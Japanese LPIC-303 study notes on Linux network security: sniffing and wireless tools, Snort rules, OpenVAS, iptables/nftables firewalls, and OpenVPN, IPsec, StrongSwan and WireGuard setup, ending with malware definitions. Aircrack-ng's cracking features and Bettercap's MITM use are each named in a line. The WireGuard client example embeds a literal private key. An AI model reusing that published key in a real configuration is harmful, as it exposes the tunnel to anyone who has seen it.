TSharkはWireSharkのCUIユーティリティ。 使用できるコマンドは以下の通り。

tshark [オプション]
オプション説明
-D有効なネットワークインターフェイス一覧表示
-i <インターフェイス>ネットワークインターフェイスを指定
-f <フィルタ条件>キャプチャするパケットフィルタ
-w <ファイル>キャプチャしたパケットをファイルへ保存
-r <ファイル>ファイルからパケット情報を読みこむ
-z <項目>項目に対する統計情報を出力
-V詳細表示

ndpmon

ndpmonはNDP(Neighbor Discovery Protocol)を監視するツール。NDPに関する状況をlogに記載したり、アラートメールを送信することも可能。

NDPはIPv6においてデータリンク層のアドレス解決を行うプロトコル。 NDPで利用されるメッセージの一つに、IPv6ルータからの応答であるルータ広告(RA:Router Advertisement)がある。RAはICMPv6を用いたグローバルIPアドレスのプレフィックスなどの情報で、悪意ある攻撃者がルータに成りすますとRAが書き換えられ不正なRAが発信される可能性がある。

ndpmonは、NDPをモニタリングすることにより、不正なRAを検出することができる。

Kismet

Kismetはワイヤレス ネットワークとデバイスの検出器、スニファー、ワードライビング ツール、および WIDS (ワイヤレス侵入検出) フレームワークのこと。

kismet_clientkismet_dronekismet_serverコマンド/ユーティリティで構成される。

aircrack_ng

aircrack_ngはWiFi ネットワークのセキュリティを評価するためのツール。 可能なことは以下の通り。

  • モニタリング … パケットのキャプチャとデータのテキスト ファイルへのエクスポートにより、サードパーティ ツールによるさらなる処理が可能
  • 攻撃 … パケットインジェクションによるリプレイ攻撃、認証解除、偽のアクセスポイントなど
  • テスト … WiFi カードとドライバーの機能を確認する (キャプチャとインジェクション)
  • クラッキング … WEP および WPA PSK (WPA 1 および 2)

Bettercap

BettercapはIEEE.802.11、BLE、IPv4、IPv6 ネットワークの偵察と MITM 攻撃用のツール。

9.1.4. ネットワークスレッド

不正ルーターによるアドバタイズメント

不正ルータによるルータ通知(アドバタイズメント)を防ぐにはカーネルを調整することで軽減できる。設定すべきファイルは以下の通り。

  • /proc/sys/net/ipv6/conf/<interface>/forwarding
  • /proc/sys/net/ipv6/conf/<interface>/accept_ra

Rouge DHCP メッセージ

DHCP スヌーピングを使用して対処できる。

9.2. ネットワーク侵入の検知

9.2.1. ネットワーク帯域監視

帯域監視は、トラフィック監視などとも呼ばれ、ネットワーク上を流れるデータ通信量を監視することを指す。

Linuxで帯域監視を行えるソフトウェアにntopCacti)がある。

Ntop(ntopng)

ntopはネットワークトラフィック(L2,L3)監視ソフトウェアで、ネットワークのステータス、UDP、TCP、DNS、HTTP、その他のプロトコルのトラフィックのプロトコルごとの分布をWebブラウザ上で確認できる。

設定ファイルは/etc/ntopng.confとなる。

ntop コマンド説明
/usr/sbin/ntop -Antop 管理者ユーザーのパスワードを設定する
ntop –set-admin-password=NewP@$$新しい管理者パスワードを設定する
ntop -P /etc/ntop -w4242 -d/etc/ntop 設定ファイルをポート番号 4242 で使用して、ntop をデーモンとして実行する。
-Wオプションは、Web ブラウザを通じて ntop にアクセスするポートを有効にする。このオプションを指定しない場合、デフォルトのポートは3000。
-dオプションを指定すると、ntop がデーモン モードで有効になる。

Cacti

Cactiは、RRDtoolと呼ばれるデータロギングとグラフィカルな描画を行う業界標準のツールを使った、WebUIを持つネットワーク監視ソフトのこと。

サーバ等の機器の動作状況をSNMP(Simple Network Management Protocol)を用いて監視できる。

RRDtool: RRDへデータを保持し、グラフを作成するOSS

9.2.2. Snort

Snortはネットワーク型IDSとして代表的なソフトウェア。 検知するパケットのルール(シグネチャ)を定義したルールファイルを参照して不正なパケットを検知する。

Snortには以下の用途で使用できる。

  • tcpdumpのようにパケットスニファとしての使用
  • パケット ロガーとしての使用
  • 本格的なIDSとしての運用

Snortのインストール

ソースからのダウンロードや、RedHatユーザはコチラからダウンロードできる。

Snortの構成

Snortの設定は/etc/snort/snort.confファイルで行う。 Debianの場合はSnort のデフォルト構成ファイル内の一部のネットワーク設定を上書きする必要がある。手順は/etc/snort/snort.debian.confを確認して行う。詳しくは公式ドキュメントより。

/etc/snort/*

ファイル説明
/etc/snort/snort.confネットワーク構成/監視するポートの定義が可能

Snortルール

Snortルールはシグネチャとは異なる検出手法でルールを作成するには、脆弱性が実際にどのように機能するかを正確に理解してルールを作成する必要がある。そのためデフォルトのルールセットを通常は用いると良い。

なおSnortルールは、/etc/snort/snort.confファイル内の行をコメント化またはコメント解除することによって有効または無効になる。 ルールは/etc/snort/rulesに保存される。

Snortルールの構文

Snortルールは、ルールヘッダルールオプションという 2 つの主要なコンポーネントで構成される。

なおルールセット(ルールファイル)に記述したシグネチャ(ルール)を変更した後は、snortプロセスを再起動することで変更が反映される。

alert ip any any -> any any (msg: "IP packet Detected";)

構成は以下の通り。

ルールアクション プロトコル IPアドレス ポート番号 <方向演算子> IPアドレス ポート番号 (ルールオプション)
  • ルールアクション
    • alert … ルールマッチしたパケットのログを記録し警告を出力する
    • log … ルールにマッチしたパケットをログに記録
    • pass … ルールにマッチしたパケットを無視
    • activate … ルールにマッチしたパケットについて警告出力し、対応するdynamicアクションの実行を行う
    • dynamic … activateアクションから呼び出され、該当パケットをログに記録
  • プロトコル
    • 検知対象(tcp, udp, icmp, ip)を記録
  • IPアドレス
    • x.x.x.xか範囲([x.x.x.x,y.y.y.y])または任意(any)で指定
  • ポート番号
    • ポート番号(x)または範囲((x,y))または任意(any)で指定
  • 方向演算子
    • ->:右側が送信先、左側が送信元となる
    • <>:左右に記載されるIP/ポートが送信先/送信元どちらでもよい
  • ルールオプション
    • 検知するパケットルールの指定
    • 未指定の場合はルールヘッダに垣外数るすべてのパケットがマッチする

snortのルールセット

Snortの主なルールセットは以下の通り。

ルールファイル説明
dos.rulesDoS攻撃を検出するためのルール
ftp.rulesFTPサービスへの攻撃を通知するためのルール
local.rulesユーザ独自のルール
scan.rulesスキャンを検知するためのルール
smtp.rulessmtpサービスへの攻撃を検知するためのルール
telnet.rulestelnetサービスへの攻撃を検知するためのルール
web-cgi.rulesWEBサーバのCGIに対する攻撃を検知するためのルール

snortコマンド

snort [オプション] <フィルタオプション>
オプション説明
-bログをtcpdump形式で記録
-c 設定ファイル設定ファイルの指定
-dアプリケーション層のデータも記録
-Dバックグラウンドで実行
-g <グループ>記録するグループの指定
-u <ユーザ>起動するユーザの指定
-i <インターフェイス>ネットワークインターフェイスの指定
-l <ディレクトリ>ログディレクトリの指定

9.2.3. OpenVASとNASL

OpenVAS(Open Vulnerability Assessment System)は、OSSの脆弱性スキャナソフトウェア。Network Vulnerability Tests(NVTs)と呼ばれる脆弱性テストを常に更新でき、最新の脆弱性情報にすばやく対応できることが強みで、CLIでもGUIでも操作できるインタフェースを持つ。

NASLはNessusやOpenVASなどの脆弱性スキャナーで使用されるセキュリティ対策用に特化したスクリプト言語のこと。NASLを使用すると、既知の脆弱性に基づいて特定の攻撃を自動化できる。

なおOpenVasの設定は/etc/openvas/以下に配置され、/etc/openvas/openvassd.confが全体における主要な動作の設定ファイルとなる。

openVASのユーティリティ

OpenVASを操作するユーティリティには以下のようなものがある。

ユーティリティ機能
openvasmdOpenVasManager: 各種操作が行える
openvasmd –rebuildデータベースの再構築を行う
openvassdスキャン処理を行う
openvas-nvt-syncNVTsを更新する
openvas-mkcertクライアントと暗号化通信を行うための証明書を発行する

ユーザの追加と削除

OpenVASではユーザごとにスキャン内容を設定することができる。 ユーザ追加/削除は以下コマンドで可能。

# 追加
openvasmd --create-user
# 削除
openvasmd --delete-user

NTSsのアップデート

openvas-nvt-syncコマンドで最新の状態にアップデートすることができる。

openvas-nvt-sync

クライアントとの通信の暗号化

OpenVASスキャナとこれを使うクライアント間の通信はSSL化される。 この際に必要な証明書はopenvas-mkcertコマンドで作成できる。

openvas-mkcert

9.3. パケットフィルタリング

9.3.1. ファイヤーウォールの基礎

ファイヤーウォールのアーキテクチャ

ファイヤーウォールのアーキテクチャにはパケットフィルタリング型ゲートウェイ型がある。

  • パケットフィルタリング型
    • 通信を細分化したパケットを監視するファイアウォール
    • 通信をパケット単位で解析し、決められたルールに基づいて通過の許否を判断する
    • アプリケーション層レベルの判断はできない
  • ゲートウェイ型
    • 内部コンピュータの代わりに通信を行うファイアウォール
    • アプリケーション型、プロキシサーバ型とも呼ばれる
    • データの細切れであるパケットの中身まで把握できる
    • アプリケーション層(FTP, HTTPなど)でのフィルタリングを行うことができる

パケットフィルタリング型ファイヤーウォール

パケットフィルタリング型には以下の2種類がある。

  • ステートレス … 個々のパケットについて、スタティックなIPアドレスおよびポート番号のみのフィルタリングを行う
  • ステートフル … 往きのパケットに基づき、戻りのパケットに対してもフィルタリングルールを適用する

9.3.2. ファイヤーウォール

Netfilter

Netfilterはカーネルモジュールであり、カーネルがインターフェイスに転送するネットワークトラフィックはすべて netfilter を通過するようになっている。 netfilterモジュールへの主要なインターフェイスはiptablesであり、Linux ファイアウォールで高度な構成を行うことができる。

iptablesは複雑であるため、ufw 、 firewalld などの他の解決策が考案された。 これらは iptables と連携して動作し、ファイアウォールの設定を簡単に行えるようにする。

Iptables

iptablesはテーブルとして動作し以下の3種類の機能を提供する。

  • Filter … パケットフィルタリングとして使用される
  • NAT … アドレス変換に使用される
  • MANGLE … パケットを特別な処理をしたい場合に使用される

各テーブルにはチェインがあり、どの種類のパケットをフィルタリングするか定義するために使用される。 以下の種類がある。

  • PREROUTING - (NAT, MANGLE) * パケットがルーティングテーブルに渡される前に処理する * 通常はパケットを別のアドレスまたはポートにリダイレクトするために使用する(DNAT)
  • INPUT - (NAT, Filter, MANGLE) * パケットがホストに到着するときに処理する * ネットワークからの着信接続や、ローカルプロセスからのローカルホストへの通信が含まれる
  • OUTPUT - (NAT, Filter, MANGLE) * ホストから発信されるパケットを処理する * ローカルホストから外部のネットワークへの接続や、ローカルプロセスからの通信が含まれる
  • FORWARD - (Filter, MANGLE) * ホストを経由して他のホストに送信されるパケットを処理する * ルーターがパケットを他のネットワークセグメントにルーティングする際に使用する
  • POSTROUTING - (NAT, MANGLE) * パケットがルーティングテーブルを通過した後に処理する * パケットが送信元または宛先の IP アドレスを変更するために使用する

チェインはルールを作成できるフィルタリングポイントであり、ルールはトラフを通過するパケットに適用される。 ルールは、パケットに対して正確に何が起こるべきかを定義するもので以下のようにターゲットを指定できる。

  • ACCEPT … パケットの許可
  • DROP … パケットをドロップする
  • REJECT … パケットを拒否し、送信者にはICMP警告メッセージを送信する
  • LOG … ログを取る
  • MASQUARATE … NATに使用される

iptablesコマンド

iptablesコマンドは、Linuxシステムでファイアウォールを構成および管理するためのコマンド。 iptablesは、パケットのフィルタリング、NAT (Network Address Translation)、パケットの転送などの機能を提供している。

iptables -A chain [-i/-o interface] [-s/-d address] -p udp --sport/--dport 80  -j TARGET

| オプション | 説明 | | -L <チェーン名> -t <テーブル名> | 指定されたチェーンおよびテーブル内のすべてのルールをリストする。チェーンまたはテーブルが指定されていない場合は、すべてを表示する。 | | -D | 特定のチェーン内のルールを番号によって削除する | | -バツ | チェーンを削除する | | -F (または –flush) | ルールのすべて (または指定されたチェーン) をフラッシュする | | -P | チェーンのデフォルトポリシーを変更する(DROPまたはACCEPTに設定可能) | | -v | 通常は、追加の出力を提供するために -F(または –flush) とともに使用される | | -n | IPアドレスとポートを数値形式で表示する |

# 現在のルールをリストする
iptables -nvL

# ポリシの作成
iptables -P INPUT DROP

# ルールの追加
iptables [-t table] {-A|-C|-D} chain rule-specification
# -A : 選択したチェーンの末尾に 1 つ以上のルールを追加
# -C : 仕様に一致するルールが選択したチェーンに存在するかどうかを確認
# -D : 選択したチェーンから 1 つ以上のルールを削除

# ルールの挿入
iptables [-t table] -I chain [ルール番号] rule-specification

# ルールの削除
iptables [-t table] -D chain ルール番号

# パケットカウンタとバイトカウンタをゼロに設定
iptables [-t table] -Z

/etc/sysconfig/iptables

/etc/sysconfig/iptablesブート時またはサービスの開始時にカーネルがパケット フィルタリング サービスを設定するために使用する情報が保存されるファイル。

  • iptables-save … iptablesルールを永続保存するためのコマンド * iptables-save > /etc/sysconfig/iptables.$(date +%d-%m-%y) * -c:パケットカウンタ及びバイトカウンタの現在値を表示 * -t テーブル:テーブルを指定
  • iptables-restore … バックアップの設定からiptablesの設定を復元するコマンド * iptables-restore < /etc/sysconfig/iptables.20-09-22 * -c:パケットカウンタ及びバイトカウンタの値を復元 * -n:復元する際に現在のテーブル内容を削除しない

iptablesによるIP毎の接続制限

connlimitジュールを使用すると、クライアントIP アドレス (またはアドレス ブロック) ごとにサーバーへの並列 TCP 接続の数を制限できる。 これは、サーバ または VPS をフラッディング、スパム、Webスクレイピングから保護するのに役立つといえる。

iptables -A INPUT -p tcp --syn --dport $port -m connlimit --connlimit-above N -j REJECT --reject-with tcp-reset

例は以下の通り。

# クライアントホストごとに3つのSSH接続のみを許可する
iptables  -A INPUT -p tcp --syn --dport 22 -m connlimit --connlimit-above 3 -j REJECT

# IP/ホストごとに20個のHTTP接続までに制限する
iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 -j REJECT --reject-with tcp-reset

iptablesによる1秒あたりの接続数制限

staterecentモジュールを使用すると、1秒あたりの接続数制限ができる。

ip6tables

Ip6tables は IPv6 パケット フィルタ ルールのテーブルの設定、維持、および検査に使用される。

9.3.3. 高度なファイアウォール

IPset

IPsetはIPアドレス、ネットワーク範囲、MACアドレス、ポート番号、およびネットワークインターフェイス名の保存されたコレクションであり、 iptablesツールは、IPセットを利用して、より効率的なルール照合を行うことができる。netfilterと連携して使用できる。

利用例としては悪意のある通信元が分かっているアドレスがあるときに、IPセットを作成しiptablesで参照することでルール セットが動的になり、構成が容易になる。

ipsetコマンド

ipsetコマンドはIP セットを作成および変更できるコマンド。

ipset <オプション>

range_setは名称、hashは保存方法、netはデータ型を定義する。

ipset create <range_set> <hash:net>

オプションは以下の通り。

オプション説明
create新しいIPセットを作成
addIPセットにエントリを追加
delIPセットからエントリを削除
destroyIPセットを破棄
listIPセットの内容をリスト
flushIPセット内のすべてのエントリを削除
test指定したIPがIPセットに含まれているかどうかを確認
swap2つのIPセットの内容を交換
renameIPセットの名前を変更

ipsetの永続化

作成した ipset はメモリに保存され、再起動すると消去される。 ipset を永続的にするには以下コマンドで可能。

ipset save > /etc/ipset.conf

復元には以下コマンド。

ipset restore < /etc/ipset.conf

DMZネットワーク

DMZは組織の内部ローカル エリア ネットワークを信頼できないトラフィックから保護し、セキュリティ層を追加する境界ネットワークのこと。 通常DMZはパブリックインターネットとプライベートネットワークの間にあるサブネットワークを指す

DMZを設置する目的は以下の通り。

  • プライベートネットワークや LAN の安全性を確保しながら、インターネットなどの信頼できないネットワークにアクセスできるようにする
  • 外部向けのサービスとリソースに加え、DNS、ファイル転送プロトコル (FTP)、メール、プロキシ、VoIP、および Web サーバーのサーバーを DMZ に設置する

DMZを置くことでハッカーがインターネット経由で組織のデータや内部サーバーに直接アクセスすることがより困難になる

Connection Tracking

ConntrackはLinux カーネルのネットワークスタックの中核機能の1つでカーネルはすべての論理ネットワーク接続またはフローを追跡でき、各フローを構成するすべてのパケットを識別して、それらを一貫して一緒に処理できる機能のこと。

Conntrackは通常、フロー内の最初のパケットのみが完全なネットワークスタック処理を通過して処理を決定する必要があるため、パフォーマンスを向上させる (CPU の削減とパケット遅延の削減)。 設定ファイルは/proc/sys/net/nf_conntrack_maxとなる。

またconntrack-toolsパッケージには 2 つのプログラムが含まれている。

  • conntrack * 接続追跡システムと対話するためのフル機能のコマンド ライン ユーティリティを提供する * 既存のフロー エントリを一覧表示、更新、削除できる
  • conntackd * ユーザー空間の接続追跡デーモン * ユーザスペースで動作する

NAT

NATは送信元と宛先の IP アドレスとポートを変更すること。 アドレス変換により、IPv4 パブリック アドレスの必要性が減り、プライベート ネットワーク アドレス範囲が隠蔽される。 このプロセスは通常、ルーターまたはファイアウォールによって実行される。

  • SNAT * ソースのプライベート IP アドレスをパブリック IP アドレスに変換するプロセスのこと
  • DNAT * パケットの IP ヘッダー内の宛先アドレスを変更すること * インターネット ホストからプライベート ホストにトラフィックをリダイレクトするために使用される

NATにおけるアドレス変換には以下の種類がある。

  • 静的NAT … 1 つのプライベート IP アドレスをパブリック IP アドレスに変換する
  • ダイナミックNAT … プライベート IP アドレスはパブリック IP アドレスのプールにマッピングする
  • NPAT(PAT) … 1 つのパブリック IP アドレスがすべての内部デバイスに使用されますが、各プライベート IP アドレスには異なるポートが割り当てられる

ebtables

ebtablesはイーサネットフレームを検査するルールのテーブル (Linux カーネル内) を設定および維持するために使用されるプログラムのこと。 ebtablesでは、iptablesと同様に「テーブル」「チェイン」「ターゲット」を用いてルールを構築する。

ebtables -Ln # ルール セットを印刷するときに行番号をリスト
ebtables -Lc # 各ルールのパケットおよびバイトカウンターをリスト

またebtablesのテーブルには以下の3種類がある。

  • filter … Ethernetテーブルのフィルタリング
  • nat … MACアドレスの変更
  • broute … ブリッジ+ルータの機能を実行

Nftables

nftables(ntf)は iptables の代替ツール。 テーブルやチェインなどが予め用意されていたiptablesに対して、nftではユーザが自分で作成する。

ルール作成の手順は以下の通り

  1. テーブル作成 … nft add table
  2. チェインの作成 … nft add chain
  3. ルールの作成 … nft add rule

ルールセットの確認はnft list rulesetで可能。

9.4. VPN

9.4.1. OpenVPN

OpenVPNは安全なポイントツーポイント接続またはサイト間接続を作成する仮想プライベート ネットワーク (VPN) 技術を実装するOSSソフトウェア。

OpenVPN は、事前共有秘密キー、証明書、ユーザー名/パスワードなどのさまざまな方法を使用して、クライアントがサーバーに対して認証できるようにする。

なおデフォルトではOpenVPNは1194のUDPポートで動作する。

OpenVPNのインストール

ダウンロードする前にIP転送を有効にする必要がある。

sysctl -w net.ipv4.ip_forward=1

RedHat系では以下のようにインストールする。

dnf install epel-release -y
dnf install openvpn -y

Easy-RSAの構成

OpenVPNのインストール後、SSL証明書を追加して構築する必要がある。

cd /etc/openvpn/
wget https://github.com/OpenVPN/easy-rsa/releases/download/v3.0.6/EasyRSA-unix-v3.0.6.tgz
tar -xvzf EasyRSA-unix-v3.0.6.tgz
mv EasyRSA-v3.0.6 easy-rsa
cd /etc/openvpn/easy-rsa
vi vars

easy-rsaのvarsを作成したら以下ステップを実行する

  1. ./easyrsa init-pkiでpkiディレクトリの開始
  2. sudo ./easyrsa build-caでCA証明書の作成
  3. sudo ./easyrsa gen-req myov-server nopassでキーペアと証明書のリクエストを作成
  4. sudo ./easyrsa sign-req server myov-serverでサーバキーに署名する
  5. sudo ./easyrsa gen-dhでキー交換のためのDH鍵を作成する
  6. 上記で作成したファイルを/etc/openvpn/server/にコピーする(ca.crt,dh.pem, .key, .crt)
  7. sudo ./easyrsa gen-req client nopassでクライアント キーを取得する
  8. sudo ./easyrsa sign-req client clientで生成された CA 証明書を使用してクライアント キーに署名する
  9. 上記で生成したファイルを/etc/openvpn/client/にコピーする(ca.crt,client.crt,client.key)

OpenVPNサーバの構築

/etc/openvpn/server/server.confにEasy-RSAの構成で構成したファイルをもとに設定ファイルを以下のように記述する。

なお設定は0から作成する必要はなく、/usr/share/doc/openvpn-/sample/sample-config-files/server.confに設定ファイルの散歩ウルがあるためそれを利用すると良い。

port 1194
proto udp
dev tun
ca /etc/openvpn/server/ca.crt
cert /etc/openvpn/server/myov-server.crt
key /etc/openvpn/server/myov-server.key
dh /etc/openvpn/server/dh.pem
server 10.8.0.0 255.255.255.0
push "redirect-gateway def1"
push "dhcp-option DNS 208.67.222.222"
push "dhcp-option DNS 208.67.220.220"
duplicate-cn
cipher AES-256-CBC
tls-version-min 1.2
tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA256:TLS-DHE-RSA-WITH-AES-128-GCM-SHA256:TLS-DHE-RSA-WITH-AES-128-CBC-SHA256
auth SHA512
auth-nocache
keepalive 20 60
persist-key
persist-tun
compress lz4
daemon
user nobody
group nobody
log-append /var/log/openvpn.log
verb 3

OpenVPNサービスの有効化

以下コマンドを使用してサーバーを起動し、有効にする。

systemctl start openvpn-server@server

なおこのコマンドにより、正常にVPNサーバが起動すると新しいネットワーク インターフェイスtun0が作成される。

クライアント構成ファイルの生成

OpenVPNクライアント構成ファイルを生成するには以下.ovpnファイルを作成することで可能。ファイル内容は以下のように記述する。

サンプルファイルは/usr/share/doc/openvpn-/sample/sample-config-files/client.confに存在するためこのファイルの改造で可能となる。

client
dev tun
proto udp
remote vpn-server-ip 1194
ca ca.crt
cert client.crt
key client.key
cipher AES-256-CBC
auth SHA512
auth-nocache
tls-version-min 1.2
tls-cipher TLS-DHE-RSA-WITH-AES-256-GCM-SHA384:TLS-DHE-RSA-WITH-AES-256-CBC-SHA256:TLS-DHE-RSA-WITH-AES-128-GCM-SHA256:TLS-DHE-RSA-WITH-AES-128-CBC-SHA256
resolv-retry infinite
compress lz4
nobind
persist-key
persist-tun
mute-replay-warnings
verb 3

ルーティングの構成

以下コマンドでOpenVPNサービスの通信がファイヤーウォールを通過できるようにできる。

firewall-cmd --permanent --add-service=openvpn
firewall-cmd --permanent --zone=trusted --add-service=openvpn
firewall-cmd --permanent --zone=trusted --add-interface=tun0
firewall-cmd --add-masquerade
firewall-cmd --permanent --add-masquerade

VPN からの受信トラフィックをローカル ネットワークに転送するようにルーティングを設定するには以下の通り。

routecnf=$(ip route get 8.8.8.8 | awk 'NR==1 {print $(NF-2)}')
firewall-cmd --permanent --direct --passthrough ipv4 -t nat -A POSTROUTING -s 10.8.0.0/24 -o $routecnf -j MASQUERADE

変更の有効化/再読み込みはfirewall-cmd --reloadで可能。

クライアントマシンにOpenVPNをインストールする

インストールする

dnf install epel-release -y
dnf install openvpn -y

サーバからクライアント構成をコピー

sudo scp -r root@vpn-server-ip:/etc/openvpn/client .

OpenVPNサーバに接続する。

cd client/
openvpn --config client.ovpn

OpenVPNコマンド

openVPNを操作するユーティリティ

openvpn <オプション>

9.4.2. IPSecサーバとクライアント操作

IPsec

IPsecは保護されたネットワークと保護されていないネットワークの間に境界を作成する。境界を通過するトラフィックは、IPSec 構成を担当するユーザーまたは管理者によって指定されたアクセス制御の対象になる。

IKE: RFC 7296 で定義されている IKE は、2 つのシステムまたはデバイスが信頼されていないネットワーク上で安全な通信チャネルを確立できるようにするプロトコル。 このプロトコルは、一連のキー交換を使用して、クライアントとサーバーの間に暗号化されたトラフィックを送信できる安全なトンネルを作成する

IPsecのポリシー

IPSecりよるサービスは2つのデータベースによって定義される。 1つが**SPD(Security Policy Database)SAD(Security Association Database)**のこと。このポリシは送信元から宛先に送信される各 IP パケットに適用される。

セキュリティアソシエーション

セキュリティアソシエーションは両方のノードが認証および暗号化メカニズムに関する情報を交換するための概念で、送信者と受信者の間で伝送されるトラフィックにセキュリティ サービスを提供する。

IPsec

IPsecのアーキテクチャではセキュリティアソシエーションを識別するパラメータは3つある。

  1. SPI(Security Parameter Index)、受信側システムが受信パケットを選択するためのIPSecプロトコルヘッダを伝えるビット文字列
  2. IP宛先アドレス、IPSecのエンドポイントアドレス
  3. セキュリティプロトコル識別子

SAD(Security Association Database)

SPD(Security Policy Database)

IPSecプロトコル

IPSecではAH(プロトコル認証ヘッダ)、ESP(カプセル化セキュリティペイロード)の2つのプロトコルを使用してトラフィックセキュリティサービスを提供する。

  • プロトコル認証ヘッダ (AH) * IP ヘッダーとデータ ペイロードがハッシュされるために使用 * ハッシュから新しい AH ヘッダーが構築され、パケットに追加される * 認証機能と未改竄の保証
  • セキュリティペイロードのカプセル化 (ESP) * データ パケットの暗号化と整合性を提供するセキュリティ プロトコル * 標準 IP ヘッダーの後に追加される * AHの機能+暗号化

IPSec暗号化の技術

IPSecのセキュリティアソシエーションではトンネルモードトランスポートモードの2つのモードの操作を設定できる。

  • トンネルモード * ペイロードとヘッダーの両方が暗号化される * ゲートウェイ間、またはエンド ステーションからゲートウェイへの使用が一般的 * パケットの送信元がセキュリティを提供するデバイスと異なる場合は、トンネル モードが使用
  • トランスポートモード * 各パケットのデータ部分のみが暗号化される * エンド ステーション間、またはエンド ステーションとゲートウェイの間に適用できる

IPsec画像

IPSecのトラフィック処理

Racoon

RacoonはIPsec IKE プロトコルのキー交換デーモンのこと。 設定ファイルは/etc/racoon/racoon.confとなる。

setkey

setkeyはIPsecにおける二つのデータベース(SAD、SPD)を操作するためのユーティリティ

ipsec-tools

ipsec-toolsはIPsec接続を確立するために必要なユーティリティ。 なお現在はRedHat系OSではIPsec-toolsは使用されておらず、LibreSwanといったツールでVPNが構成されている。

設定ファイルは/etc/ipsec-tools.confとなる。

9.4.3. StrongSwan

StrongSwan はIPsec ベースのOSSのVPN。 StrongSwan は元々 Linux 用に設計されたが、その後 Android、FreeBSD、Mac OS X、Windows およびその他のプラットフォームに移植された。特徴は以下の通り。

  1. 構成がシンプル
  2. 強力な暗号化と認証方法の提供
  3. 大規模で複雑なVPNネットワークをサポートする
  4. 拡張性に優れたモジュラー設計

StrongSwanのインストール

dnf install -y epel-release
dnf install -y strongswan.x86_64

strongsan.conf

strongswanの設定ファイル。

# strongswan.conf - strongSwan configuration file
#
# Refer to the strongswan.conf(5) manpage for details
#
# Configuration changes should be made in the included files

charon {
        load_modular = yes
        plugins {
                include strongswan.d/charon/*.conf
        }
}

include strongswan.d/*.conf 

swanctl

swanctlはインターフェイス プラグインを介して StrongSwan IKE デーモン ( charon )を設定、制御、監視するためのコマンドライン。

swanctl <オプション>

swanctl.conf

9.4.4. WireGuard

WireGuardは非常にシンプルで高速な最新の VPN 。 OpenVPN よりも大幅にパフォーマンスが向上している。

Wireguardのインストール

sudo dnf install elrepo-release epel-release -y
sudo dnf install kmod-wireguard wireguard-tools -y

Wireguard サーバの構成

適切な権限を持つ Wireguard 設定用の空の構成ファイルをサーバー上に作成する。

mkdir /etc/wireguard

ディレクトリを作成した後、wgおよび``tee`コマンドライン ツールを使用して公開キーと秘密キーを作成する。

wg genkey | sudo tee /etc/wireguard/privatekey | wg pubkey | sudo tee /etc/wireguard/publickey

次に、VPN トラフィックをルーティングするためにトンネル デバイスを設定する必要があり、/etc/wireguard以下にwg0.conf等を作成する必要がある。

[Interface]

## IP Address of VPN server ##
Address = 192.168.108.101/24

## Save the configuration when a new client will add ##
SaveConfig = true

## port number of VPN server ##
ListenPort = 51820

## Private Key of VPN Server ##
PrivateKey = SERVER_PRIVATE_KEY

## Command to be executed before starting the interface ##
PostUp     = firewall-cmd --zone=public --add-port 51820/udp && firewall-cmd --zone=public --add-masquerade

## Command to be executed before turning off the interface ##
PostDown   = firewall-cmd --remove-port 51820/udp --zone=public && firewall-cmd --remove-masquerade --zone=public

インターフェイスはsudo wg-quick up wg0コマンドで起動する。 またsudo systemctl enable wg-quick@wg0で有効化できる。

wgコマンド

wgはWireGuard トンネル インターフェイスの構成を取得および設定するための構成ユーティリティ。 インターフェイス自体は を使用して追加および削除でき、その IP アドレスとルーティング テーブルはと をip-link(8)使用して設定できる。

wg <サブコマンド>
サブコマンド説明
show現在の構成とデバイス情報を表示する
showconf指定された WireGuard インターフェイスの現在の設定を表示する
set現在の構成の変更、ピアの追加、ピアの削除、またはピアの変更

IPv4転送の有効化

NATのIPv4転送の有効化には/etc/sysctl.d99-custom.confを作成する。

## for enabling IPv4 forwarding ##
net.ipv4.ip_forward = 1

## for enabling IPv6 forwarding ##
#net.ipv6.conf.all.forwarding = 1
sysctl -p /etc/sysctl.d/99-custom.conf

Wireguard クライアントの構成

手順はサーバの時と同じで、設定ファイルのみが少し異なる。

[Interface]
## Private Key of VPN Client ##
PrivateKey = qCi5ugILVhTOOmCzchqFzkNaHM3HP1qFUWgtYun2A3w=

## IP address of VPN Client ##
Address = 192.168.108.102/24

[Peer]
## Public Key of Rocky 8 VPN Server ##
PublicKey = m58H6KTuRt+4z6g+jMIeRCdAkQoikkiVvTd7pJvrPGE=

## set ACL ##
AllowedIPs = 0.0.0.0/0

## IP address and Port of CentOS 8 VPN Server ##
Endpoint = 192.168.108.101:51820

なお起動後に、WireGuardサーバにVPN クライアント マシンの IP アドレスと公開キーを登録する必要がある。

[Peer]
## Public Key of VPN Client ##
PublicKey = 73gw+v4V0TKsw2uGLHJ9EI26qfMEwvk+JZ+xED2ttAs=

## IP Address of VPN Client ##
AllowedIPs = 192.168.108.102/32

wg-quickコマンド

wg-quickはWireGuardインターフェイスを起動するコマンド。

wg-quick up wg0

14.3.10 - 10.脅威と脆弱性の評価

【LPIC303範囲】Linuxとはあまり関係ないがOSやアプリケーションを取り巻く脅威に関して説明。

10.1. 一般的なセキュリティ脆弱性と脅威

10.1.1. マルウェア

ウィルス

コンピュータウイルスは、実行されると他のコンピュータプログラムを変更し、独自のコードを挿入することによって自分自身を複製するコンピュータプログラムの一種のこと。

コンピュータウイルスには通常、ホスト プログラムが必要です。ウイルスは独自のコードをホスト プログラムに書き込みます。プログラムを実行すると、先に書かれたウイルスプログラムが実行され、感染や被害を引き起こす。

マルウェア

マルウェアは悪意のあるソフトウェアのことで、コンピュータに損害を与えるように意図的に設計されたソフトウェアを指す。

マルウェアは、個人情報の漏洩、情報やシステムへの不正アクセスの原因となり、ユーザーの情報へのアクセスを奪ったり、ユーザーのコンピュータのセキュリティやプライバシーを知らず知らずのうちに妨害したりする。

10.1.2. その他のマルウェア

ワーム

コンピュータワームは、複数のデバイス上で活動を続けながら複数のデバイスに拡散するように設計された、潜行性のタイプのマルウェアのこと。

ワームの定義としては、ワームをユーザーの介入なしで実行および増殖できる自己完結型のマルウェアといえる。

ルートキット

ルートキットはコンピュータまたは他のソフトウェアへの不正アクセスを許可するように設計された悪意のあるソフトウェアバンドルのこと。 ルートキットは検出が難しく、感染したシステム内でその存在を隠すことができる。

ルートキットが定着すると、システムはゾンビ コンピュータであるかのように動作し、ハッカーはリモートアクセスを使用してデバイスを完全に制御できるようになる。

トロイの木馬

トロイの木馬は正当で安全であるように見えるファイル、プログラム、またはコードの一部に偽装された悪意のあるソフトウェアのこと。

